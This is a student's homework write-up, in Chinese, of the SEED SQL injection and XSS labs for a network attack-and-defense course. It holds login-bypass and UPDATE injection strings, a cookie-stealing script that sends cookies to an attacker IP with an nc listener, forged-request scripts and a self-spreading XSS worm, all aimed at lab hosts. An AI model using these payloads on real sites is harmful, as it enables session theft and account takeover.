20199305 2019-2020-2 《网络攻防实践》第十一周作业
20199305 2019-2020-2 《网络攻防实践》第十一周作业
一、前言
问题 | 回答 |
---|---|
作业属于 | https://edu.cnblogs.com/campus/besti/19attackdefense |
作业要求 | https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10553 |
课程目标 | 学习教材第十一章,完成课后实践 |
二、知识梳理
1、Web应用程序体系结构及其安全威胁
1.1 Web网络应用体系
(1)定义:目前一般就是指B/S(“浏览器/服务器”模式)计算结构,其中浏览器主要完成数据显示与展示渲染,服务器主要完成业务计算处理,浏览器与服务器之间的通信通过因特网或内联网上HTTP/HTTPS应用层协议的请求与应答进行通信
(3)浏览器:使用HTTP/HTTPS协议,用来检索、展示以及传递Web信息资源的应用程序
(4)Web服务器:网络服务器是网络环境下为客户提供某种服务的专用计算机
(5)数据库:是一个长期存储在计算机内的、有组织的、可共享的、统一管理的大量数据的集合
(6)Web应用程序:一种可以通过Web访问的应用程序,程序的最大好处是用户很容易访问应用程序,用户只需要有浏览器即可,不需要再安装其他软件,最为常见的三层体系结构:
-
表示层:输入并显示结果。
-
业务逻辑层:需要数据层的协作,再将结果送回表示层。
-
数据层:以数据库或本地文件的形式,提供非易失的信息存储。
(7)传输协议HTTP/HTTPS:HTTP协议默认使用TCP 80端口,该协议采用统一资源标识符URI对各种资源进行统一定义,采用请求/相应模式。SSL/TLS隧道技术,来实现加密传输的HTTPS协议。
(8)流行的Web服务器软件主要分为两类:
-
MS:Win200x Server/IIS/MS SQL/ ASP/ASP.NET
-
LAMP: Linux/Apache/MySQL/PHP
-
Web服务器平台中的安全漏洞
(9)数据驱动的远程代码执行安全漏洞:Web服务器软件作为网络服务守护进程,也会出现缓冲区溢出、不安全指针、格式化字符串等一系列数据驱动安全漏洞的- 远程攻击渗透攻击。
-
服务器功能扩展模块漏洞:IIS软件、WebDAV模块、Apache扩展组件模块都存在漏洞。
-
样本文件安全漏洞:Web应用服务器包含的样板脚本和代码示例存在漏洞。
-
源代码泄露:能够查看到没有防护措施Web服务器上的应用程序源码。
-
资源解析攻击:把同一资源的不同表示形式解析为它的标准化名称的过程。
1.2 Web应用安全威胁
(1)针对浏览器和终端用户的Web浏览安全威胁:网页木马、网站钓鱼等。
(2)针对传输层的网络协议安全威胁:针对HTTP明文传输协议的敏感信息监听、拒绝服务攻击等。
(3)系统层安全威胁:Web站点的宿主操作系统。
(4)Web服务器软件安全威胁:Web服务器软件也存在着漏洞与弱点。
(5)Web数据安全威胁:Web站点中在Web应用程序后台存储的关键数据内容。
2、Web应用安全攻防技术概述
2.1 Web应用攻击路线
(1)Web应用信息收集
(2)攻击Web服务器软件
(3)攻击Web应用程序
(4)攻击Web数据内容
(5)本地攻击
2.2 Web应用信息收集
(1)手工审查Web应用程序结构与源代码
-
查看静态和动态生成的页面,主要查看源代码、 隐藏信息和动态页面中的页面命名规则等。
-
查看Web服务器的存储目录结构。
-
查看辅助性文件,包括CSS级联样式表、XML样式表、数据库字段结构、目录路径、输入参数以及数据库连接字符串。
-
输入表单,表单是Web应用程序接受用户输入的主要途径,通过手工审查页面源代码可以发现一些关键表单的位置。
-
查询参数字符串,复用以假冒其他用户、获取受限的数据、运行任意的系统命令等,提供了Web应用程序内部工作的信息。
(2)自动下载与镜像Web站点页面:自动化上面的手工审查过程。
(3)Google Hacking技术审查与探测Web应用程序:Google利用Googlebot和Google Search Engine已经帮我们下载并分析了几乎所有公开页面,Google的高级搜索与挖掘技巧可以在在大范围内搜索存有漏洞的Web应用程序。
(4)Web应用程序安全评估与漏洞审查
-
针对Web应用程序的攻击主要集中在身份验证、会话管理、数据库操作、输入数据合法/合理性检查。
-
安全辅助分析工具主要包括浏览器插件、免费工具集、商业Web应用安全评估系统和漏洞扫描器。
2.3 攻击Web服务器软件
(1)流行的Web服务器软件主要分为两类:
-
MS:Win200x Server/IIS/MS SQL/ ASP/ASP.NET
-
LAMP: Linux/Apache/MySQL/PHP
(2)Web服务器平台中的安全漏洞
-
数据驱动的远程代码执行安全漏洞:Web服务器软件作为网络服务守护进程,也会出现缓冲区溢出、不安全指针、格式化字符串等一系列数据驱动安全漏洞的远程攻击渗透攻击。
-
服务器功能扩展模块漏洞:IIS软件、WebDAV模块、Apache扩展组件模块都存在漏洞。
-
样本文件安全漏洞:Web应用服务器包含的样板脚本和代码示例存在漏洞。
-
源代码泄露:能够查看到没有防护措施Web服务器上的应用程序源码。
-
资源解析攻击:把同一资源的不同表示形式解析为它的标准化名称 的过程。
2.4 攻击Web应用程序
(1)Web应用程序的不安全性
-
Web应用程序编码质量和测试均有限: 安全最薄弱环节。
-
Web应用的复杂性和灵活性进一步恶化了其安全性。
(2)Web应用程序安全威胁类型
-
针对认证机制的攻击:针对用来确认用户、服务或应用身份机制的攻击手段。
-
授权机制的攻击:针对用来确定用户、服务或应用是否具有执行请求动作必须权限机制的攻击手段。
-
客户端攻击:扰乱或渗透攻击web站点客户端用户的攻击手段。
-
命令执行攻击:在web站点执行远程命令的攻击手段。
-
信息暴露:获取web站点具体系统信息的攻击手段。
-
逻辑攻击:扰乱或渗透攻击web应用逻辑流程的攻击手段。
2.5 攻击Web数据内容
(1)安全敏感数据泄露
-
web服务器存在目录遍历漏洞或不安全的目录文件枚举配置。
-
利用web服务器的上传目录临时中转文件。
-
在web站点公开的文档资料中包含个人隐私、企业秘密。
(2)网站篡改:利用特定攻击手段入侵网站后,将网站页面内容进行替换,表达入侵成功或某种观点诉求。
(3)不良信息内容上传:网站被攻陷后可能成为不良信息的存储和中转仓库。
2.6 Web应用安全防范措施
(1)Web站点网络传输安全设防措施:使用HTTPS、SFTP等安全协议等。
(2)Web站点操作系统及服务安全设防措施:定期进行操作系统及服务的补丁更新、漏洞扫描等。
(3)Web应用程序安全设防措施:在设计时就应该谨慎考虑,并且要多设置日志信息。
(4)Web站点数据安全设防措施:提高个人的安全意识,提高系统的数据保护能力。
3、SQL注入攻击
3.1 代码注入攻击定义
(1)代码注入攻击指的是任何允许攻击者在网络应用程序中注入源代码,从而得到解读和执行的方法。这并不适用于对应用程序客户端的代码注入攻击,例如 Javascript,那属于跨站脚本攻击(XSS)。源代码可以通过不可信的输入直接注入,或者网络应用程序在通过本地文件系统或类似 URL 这样的外部来源加载代码时被操纵。包含远程文件导致代码注入攻击的情况通常被称为远程文件包含漏洞,虽然远程文件包含攻击本身的目的就是为了注入代码。
3.2 SQL注入攻击原理
(1)SQL注入攻击是通过操作输入来修改SQL语句,用以达到执行代码对WEB服务器进行攻击的方法。简单的说就是在post/getweb表单、输入域名或页面请求的查询字符串中插入SQL命令,最终使web服务器执行恶意命令的过程
3.3 SQL注入攻击例子
(1)在用户名输入框中输入:' or 1=1#,密码随便输入,这时候的合成后的SQL查询语句为:select * from users where username='' or 1=1#' and password=md5('')
语义分析:“#”在mysql中是注释符,这样井号后面的内容将被mysql视为注释内容,这样就不会去执行了,换句话说,以下的两句sql语句等价:select * from users where username='' or 1=1#' and password=md5('')
等价于select* from users where usrername='' or 1=1
因为1=1永远是都是成立的,即where子句总是为真,将该sql进一步简化之后,等价于如下select语句:select * from users
没错,该sql语句的作用是检索users表中的所有字段
(2)上面是一种输入方法,这里再介绍一种注入的方法,这个方法又称PHP的万能密码,我们在已知用户名的条件下,可以不用密码即可登入,假设用户名:admin,构造语句:select * from users where username='admin'#' and password=md5('')
等价于select * from users where username='admin'
这样即可不能输入密码登入上去的。数据库就会错认为不用用户名既可以登入,绕过后台的验证,已到达注入的目的。
3.4 SQL注入攻击步骤
(1)寻找注入点,构造特殊的语句,传入SQL语句可控参数分为两类
-
数字类型,参数不用被引号括起来,如id=1
-
其他类型,参数要被引号扩起来,如name="phone"
(2)用户构造SQL语句(如:'or 1=1#')
(3)将SQL语句发送给DBMS数据库
(4)DBMS收到返回的结果,并将该请求解释成机器代码指令,执行必要得到操作
(5)DBMS接受返回结果,处理后,返回给用户,因为用户构造了特殊的SQL语句,必定返回特殊的结果
3.5 防御 SQL 注入攻击
(1)防御 SQL 注入攻击可采用深度防御原则。在将数据用于 SQL 命令之前,应该进行验证,以确保它是我们期望的正确格式,并且在将数据包含在请求或绑定参数前,应该将其 escape。
4、XSS跨站脚本攻击
4.1 XSS攻击技术原理
(1)Web应用程序对用户输入内容的安全验证与过滤不够完善,用户提交的内容可以包括HTML、JAVAScript及其他脚本代码。例如在name变量填写为alert(/xss/),这段客户端代码将会被包含在留言浏览页面中,其他用户访问时将会执行代码。
4.2 持久性XSS漏洞
(1)漏洞形式: Web应用程序允许用户输入内容并持久保存并显示在网页上。
(2)攻击方式: 攻击者通过利用跨站漏洞构建恶意脚本,对大量用户构成危害。
(3)典型案例: 留言本/论坛/博客/wiki等。
4.3 非持久性XSS
(1)攻击者构造一个包含恶意脚本的bank.com登录请求连接,通过email等方式将该攻击发送给其他用户。
(2)用户点击登录连接后会将恶意连接中包含的恶意脚本当做用户名参数提交给bank.com登陆处理页面。
(3)网站将会在反馈的欢迎页面中包含恶意客户端脚本。
(4)攻击者的恶意客户端在受害者浏览器中执行,会驱动浏览器发送会话令牌。
(5)攻击者获得用户会话令牌后,可以劫持用户会话,伪造用户登录进一步实施攻击。
4.4 XSS攻击防范措施
(1)服务器端防范措施:“限制、拒绝、净化”
-
输入验证: 对用户提交数据进行尽可能严格的验证与过滤。
-
输出净化: HTMLEncode()方法。
-
消除危险的输入点。
(2)客户端防范措施
-
提高浏览器访问非受信网站时的安全等级。
-
关闭Cookie功能,或设置Cookie只读。
-
建立安全意识和浏览习惯。
三、动手实践
实践一:SQL 注入实验
完成以下任务:
(1)熟悉 SQL 语句: 我们已经创建了一个名为 Users 的数据库,其中包含一个名为 creditential 的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn 等)。在此任务中,您需要使用数据库来熟悉 SQL 查询
(2)对 SELECT 语句的 SQL 注入攻击:上述 Web 应用存在 SQL 输入漏洞,任务是在不知道密码的情况下登陆该 Web 应用程序
(3)对 UPDATE 语句的 SQL 注入攻击:通过员工的更新个人界面实施 UPDATE 语句的 SQL 注入攻击
(4)SQL 对抗,修复上述 SQL 注入攻击漏洞
1、熟悉SQL命令
(1)首先登录 MySQL 数据库,mysql -u root -pseedubuntu
(2)使用系统创建好的 Users 数据库,use Users
(3)查看该数据库下所有的表,show tables
(4)可以看到该数据库存在一个名为“credential”的表,查看这个表的详细信息,select * from credential
2、对 SELECT 语句的 SQL 注入攻击
(1)使用 SEED 访问已经搭建好的 Web 页面:www.SEEDLabSQLInjection.com
(2)使用快捷键ctrl+U查看该页面源码,用户点击提交后,表单将用户输入的信息使用get方法提交至unsafe_home.php
页面进行权限校验
(3)通过vim /var/www/SQLInjection/unsafe_home.php
,找到核心的SQL语句,其中where部分存在可以进行注入攻击的漏洞
利用注释特性,当变量$input_uname为Admin' #
时,这部分变成了:WHERE name= 'Admin' #' and Password='$hashed_pwd'
实际上,#后面的语句都被注释掉了,那这部分就变成:WHERE name= 'Admin'
,这样的话,就可以绕过密码校验,直接进入Admin用户页面。测试输入用户名为Admin' #,密码为空:
发现成功登录,可以看见使用者的生日、薪酬等信息
3、对 UPDATE 语句的 SQL 注入攻击
(1)首先利用前面的漏洞,用Alice' #登录,可以看到对应的信息
(2)然后点击页面上方的Edit Profile进入更新信息页面
(3)在unsafe_edit_backend.php
中找到 SQL 语句,发现不能对个人工资进行更新修改,同时由上文可以知道 Alice 的编号是 10000,变量$input_nickname对应的就是用户输入的 NickName
(4)如果用户在 NickName 文本框中输入:', salary='500000' where EID='10000';#
,那么变量$input_nickname
则发生相应改变,于是,上面的语句变为:$sql = "UPDATE credential SET nickname='', salary='500000' where EID='10000';
,这条语句就实现了将 Alice 的工资更新为 500000
4、SQL对抗,修复上述SQL注入攻击漏洞
(1)SQL注入漏洞的根本问题是无法将代码与数据分离。当构造SQL语句时,程序(例如PHP程序)知道哪一部分是数据,哪一部分是数据是代码。不幸的是,当SQL语句被发送到数据库时,边界已经消失。要解决这个问题,重要的是要确保边界的视图是一致在服务器端代码和数据库中。最安全的方法是使用预处理语句。预处理语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预处理语句能防止 SQL 注入
(2)比如在unsafe_edit_backend.php
页面中,对UPDATE语句进行预处理。原来的语句:
$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',PhoneNumber='$input_phonenumber' where ID=$id;";
修改为:
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);
实践一:XSS 攻击实验
完成以下任务:
(1)发布恶意消息,显示警报窗口:在您的 Elgg 配置文件中嵌入一个 JavaScript 程序,以便当另一个用户查看您的配置文件时,将执行 JavaScript 程序并显示一个警报窗口
(2)弹窗显示 cookie 信息:将 cookie 信息显示
(3)窃取受害者的 cookies:将 cookie 发送给攻击者
(4)成为受害者的朋友:使用 js 程序加受害者为朋友,无需受害者干预,使用相关的工具了解 Elgg 加好友的过程
(5)修改受害者的信息:使用 js 程序使得受害者在访问 Alice 的页面时,资料无需干预却被修改
(6)编写 XSS 蠕虫
(7)对抗 XSS 攻击
1、发布恶意消息,显示警报窗口
(1)进入个人信息页面http://www.xsslabelgg.com/profile/alice
(2)点击Edit profile
,接着在下面的Brief description
文本框输入以下语句:<script>alert('xss');</script>
,点击Save保存,页面弹出如下的提示框,点击Save保存
(3)从Boby的页面弹进入Alice的页面时弹出出如下的提示框
2、弹窗显示 cookie 信息
(1)在Brief description文本框输入以下 JS 语句并保存:<script>alert(document.cookie);</script>
(2)从Boby的页面弹进入Alice的页面时弹出提示框,并且显示当前的 cookie 信息
3、窃取受害者的 cookies
(1)可以考虑使用 JS 脚本动态地在页面添加一个标签,同时在标签的src属性中嵌入攻击代码,其中本机 192.168.200.4
充当攻击者,JavaScript将cookies发送到攻击者机器的5788
端口,若攻击者的TCP server侦听同一个端口,则可打印出收到的内容:
<script>document.write('<img src=http://192.168.200.4:5788?c=' + escape(document.cookie) + ' >');</script>
(2)将上述代码同样输入到Brief description文本框中,然后在终端使用以下指令监听端口:nc -l 5788 -v
4、成为受害者的朋友
(1)登录用户为 Alice,然后访问用户 Boby 的主页:http://www.xsslabelgg.com/profile/boby
,使用快捷键ctrl+shift+E
打开火狐浏览器开发者模式中的 Network 页面,然后点击左侧的Add friend
,添加 Boby 为好友
(2)可以看到此时浏览器发送的 POST 请求的地址http://www.xsslabelgg.com/action/friends/addfriend=45&__elgg_ts=1589264053&__elgg_token=v-5SQNXrM_NGAKG0TFtXWQ
(3)可以构造下面的脚本,用于添加其他好友
<script type="text/javascript">
window.onload = function () {
var Ajax = null;
var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
//发送 Ajax 请求
Ajax = new XMLHttpRequest();
Ajax.open("GET", sendurl, true);
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send();
}
</script>
(4)将脚本放在 Alice 的About me文本框
(5)登录 Boby 访问 Alice 主页:http://www.xsslabelgg.com/profile/alice,返回 Boby 主页,看到已经成功添加 Alice 为好友。
<script type="text/javascript">
window.onload = function(){
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
//FILL IN
var samyGuid=44;
//FILL IN
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
5、修改受害者的信息
(1)在进入Edit profile页面后,点击Save后,可以看到具体的 Network 请求信息
(2)参考了大神的博客的脚本,用于在 Boby 访问 Alice 时,修改 Boby 的个人资料
<script type="text/javascript">
window.onload = function(){
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
//FILL IN
var samyGuid=44;
//FILL IN
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
(3)退出 Alice,登录 Boby,访问 Alice,再返回 Boby
6、编写 XSS 蠕虫
(1)两种方法:一种是链接的方法,另一种是调用 DOM API 的方法。这里使用第二种方法,为了实现蠕虫感染,可以将下面这段代码在不同的用户之间感染传播。参考大神的博客:
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid){
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
(2)将代码放在 Alice 的About me文本框内保存。用 Boby 访问 Alice,然后返回 Boby,则 Boby 被感染
(3)退出 Boby,使用 Samy 访问 Boby,则 Samy 被感染,蠕虫攻击成功
四、总结与反思
本次实验理解起来不难,知识点也清晰,实验过程很顺畅。然而在于没有Java基础,难以写出相关代码,对我形成了巨大考验
五、问题与解决
Q:在windows里面复制的内容无法粘贴到SEED虚拟机中来,下面给出解决办法
A:VM虚拟机在linux系统下如何实现文件复制粘贴
(1)在linux下,点击顶部的虚拟机–>安装VMware Tools
(2)把安装包复制到Home的目录下
(3)解压命令,其实后面的压缩包只需要输入前面的VM,然后再按Tab键,就可以补全它的名字了